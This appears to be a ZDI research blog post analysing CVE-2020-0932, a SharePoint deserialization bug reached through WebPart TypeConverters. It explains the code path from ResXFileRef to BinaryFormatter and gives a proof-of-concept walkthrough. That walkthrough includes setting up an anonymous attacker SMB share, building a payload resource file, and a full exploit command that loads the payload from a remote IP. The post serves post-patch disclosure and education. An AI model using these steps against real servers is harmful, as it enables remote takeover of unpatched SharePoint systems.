CVE-2020-0932: Remote Code Execution on Microsoft SharePoint Using TypeConverters

April 29, 2020 | The ZDI Research Team

In April 2020, Microsoft released four Critical and two Important-rated patches to fix remote code execution bugs in Microsoft SharePoint. All these are deserialization bugs. Two came through the ZDI program from an anonymous researcher: CVE-2020-0931 and CVE-2020-0932. This blog looks at that last CVE, also known as ZDI-20-468, in greater detail. Let’s start by taking a look at the bug in action.

 Overview

This vulnerability allows authenticated users to execute arbitrary code on a SharePoint server. The code will execute in the context of the service account of the SharePoint web application. For a successful attack, the attacker must have the “Add or Customize Pages” permission on a SharePoint site or at least on one page on the site. However, the default configuration of SharePoint allows any authenticated user to create their own site with all the necessary permissions.

The Vulnerability

The vulnerability exists because SharePoint does not restrict available Types for properties when it parses the XML configuration of WebParts. For a property, an attacker may specify a string and a type name, and SharePoint will attempt to convert the string using a TypeConverter corresponding to the specified type. Some TypeConverters present in the SharePoint libraries can be used for arbitrary code execution.

The entry point for this attack is the WebPartPages web service found at:

      http://<Site>/_vti_bin/WebPartPages.asmx

Within the implementation of this web service there are several methods that deal with parsing XML WebParts configuration, one of which is RenderWebPartForEdit. Note that RenderWebPartForEdit is exposed as a WebMethod, so that it can be invoked via an HTTP request:

The next method, webPartImporter.CreateWebPart(), is quite complicated, as it implements parsers for 2 different versions of XML configurations, namely WebPart/v2 (.dwp) files and WebPart/v3 (.webpart) files. Our focus is on the parser for .webpart files. Also, a large portion of the code in this method is dedicated to Type resolution and to validation of the WebPart itself. However, this is not relevant to this attack and is not detailed here.

Our XML payload will be passed along to ImportWebPartBase().

This means all property elements will be processed by ImportWebPartFile.AddToProperyArrayLists():

At this point, we control two crucial strings: text and xmlAttributeValue2. text comes from the textual contents of the property element, while xmlAttributeValue2 comes from the element’s type attribute. The code shown above chooses a .NET Type on the basis of xmlAttributeValue2, and then uses the TypeConverter of that Type to convert text into a .NET object instance (propValue).

We must now investigate what types are available.

Since there is no restriction, we can use any Type we want.

Choosing a TypeConverter for RCE

To gain arbitrary code execution, we will use the type System.Resources.ResXFileRef and its TypeConverter, System.Resources.ResXFileRef.Converter:

This shows that System.Resources.ResXFileRef.Converter will take the string we specify (value) and parse out two pieces of data. The first, shown here as array[0], will be interpreted as a path to a .resources resource file. The second, array[1], will be interpreted as the name of an arbitrary .NET Type. The code shown above will instantiate the specified Type, passing a single argument to the constructor. That argument will be a stream containing the contents of the .resources file we specify. Since we are able to specify a remote path to an attacker-controlled SMB server, we have complete control over the stream contents.

Choosing a Type We Can Instantiate With a Stream Argument

The final challenge is to identify an available .NET type that has a constructor with a single argument of type Stream, and that can be used for arbitrary code execution. One possible solution is System.Resources.ResourceSet:

Here, we are only interested in two lines: the first and the last. The first line calls the constructor of System.Resources.ResourceReader:

This is very promising, since it is taking the contents of the Stream and feeding it to a BinaryFormatter. This could easily lead to arbitrary object deserialization.

Looking back at the last line of the System.Resources.ResourceSet constructor, and following the path of code execution down several levels of calls:

This shows that the server will deserialize untrusted data, which allows us to execute arbitrary code.

Generating a .resources File

To conduct this attack, we need a compiled .resources resource file containing our payload. We can use Visual Studio to create the needed .resources file. At compile time, Visual Studio uses the Resource File Generator (Resgen.exe) to convert a .resx file to a binary resource (.resources) file. To inject our payload, we can edit the .resx file and replace the existing data node with the following:

Now we can save the *.resx file and compile the current project. Visual Studio will place the compiled *.resources file in the /obj folder.

Proof of Concept

To demonstrate this exploit, we will use Microsoft SharePoint Server 2019 installed with all default options on a Windows Server 2019 Datacenter server. We have set the computer name as sp2019.contoso.lab and made it a member of the contoso.lab domain. The domain controller is on a separate virtual machine. We added a couple of users, including user2 as a regular unprivileged user.

For the attacker system, we’ll need any supported web browser. In the following screenshots, we are using Mozilla Firefox 69.0.3. We’ll also be using our custom SP_soap_RCE_PoC.exe application to send the attack. You can download all the necessary files to try this yourself here. For different BinaryFormatter payloads, you will need YSoSerial.Net. For this demonstration, the hardcoded payload in our PoC will suffice.

The next step is to set up a remote SMB server controlled by the attacker. This can be any machine that can receive traffic from the target SharePoint server. On this server, you will need to configure a shared folder that requires no authentication. This can be a bit tricky, but the steps to do this are detailed here. For our demonstration, we’re using Windows Server 2016 Standard with an IP address of 192.168.50.210. In addition to the steps already listed to share a folder, we added Everyone, Guest, and ANONYMOUS LOGON in the Security tab of the shared folder.

Astute readers might wonder why the SharePoint server consents to accessing an anonymous SMB share. For security reasons, the Windows SMB client normally does not permit such an operation. This is a mitigation introduced starting with version 1709 of Windows 10 and Windows Server 2016. The answer is that, for some reason, the SharePoint installer turns this mitigation off via a registry entry. In the registry key HKLM\SYSTEM\CurrentControlSet\Services\LanmanWorkstation\Parameters, it sets the value AllowInsecureGuestAuth to 1.

With the folder created and configured, we can place the payload for BinaryFormatter in that location and proceed with the attack. For this demonstration, we’ve named it SP_soap_RCE_PoC.RCE_Resource.resources.

Let’s begin by visiting our SharePoint Server and authenticating as a regular user. In this case it is user2:

Now we are logged in as an authenticated user:

Next, we create our own site so that we will be the owner and will have all permissions. Note, if an attacker is not able to create their own site, they can still try all existing sites and pages in an attempt to find at least one where they have “Add or Customize” Pages permissions.

Click on “SharePoint” on the top panel:

Now click “+ Create site” link:

For this demonstration, we choose Team Site, but it does not matter. Now we need to pick a name for the new site. In this case, we use siteofuser2.

Also, we will need the BaseURL of the new site. We can see it on the form shown below, above the green “Available” label. In this example, it is http://sp2019/sites/siteofuser2:

Click “Finish”, and the new site will be created:

Now let’s go to the target SharePoint server and open the C:\windows\temp folder.

We note there is no Vuln_Server.txt file yet. If successful, our PoC will create this file. Next, we confirm our SP_soap_RCE_PoC.RCE_Resource.resources file exists on the attacker-controlled SMB server:

Now let’s go back to the “attacker” machine. We will use our custom SP_soap_RCE_PoC.exe executable for the attack. We need to provide the following information as arguments:

        -- BaseUrl of the target SharePoint Site. In this demonstration, it is http://sp2019/sites/siteofuser2/
        -- UserName – In our case, this is user2
        -- Password
        -- Domain
        -- Remote Path to our payload file.
The command ends up looking like this:

SP_soap_RCE_PoC.exe http://Sp2019/sites/siteofuser2/ user2 P@ssw0rd contoso //192.168.50.210/share/SP_soap_RCE_PoC.RCE_Resource.resources

SharePoint does report an error that an unsafe type was specified, but the attack is successful anyway. We can check the Temp folder on the target server:

This shows how an attacker is able to execute arbitrary OS commands and compromise the entire server. To execute other commands, you would need to generate your own *.resource file. This can be done by opening the RCE_Resource.resx file in any text editor and replacing the base64 BinaryFormatter payload with the desired one:

You can then save the file, open the project in Visual Studio and rebuild it. The SP_soap_RCE_PoC.RCE_Resource.resources file with the new payload will be in the \SP_soap_RCE_PoC\SP_soap_RCE_PoC\obj\Release\ folder.

Conclusion

According to Microsoft, this vulnerability was fixed by “correcting how SharePoint checks the source markup of application packages.” Interestingly, all six SharePoint bugs – including the Important-rated bugs – have the exact same write-up. There’s no indication from the vendor why some of these bugs are rated Important while others are rated Critical. Because of this, we recommend you treat all of the bugs as Critical. SharePoint bugs have proven to be popular with attackers in the past. In 2019, CVE-2019-0604 ended up being used extensively in the wild. Time will tell if this bug proves as popular with criminals online.

We’ll be back with other great submissions in the future. Until then, follow the team for the latest in exploit techniques and security patches.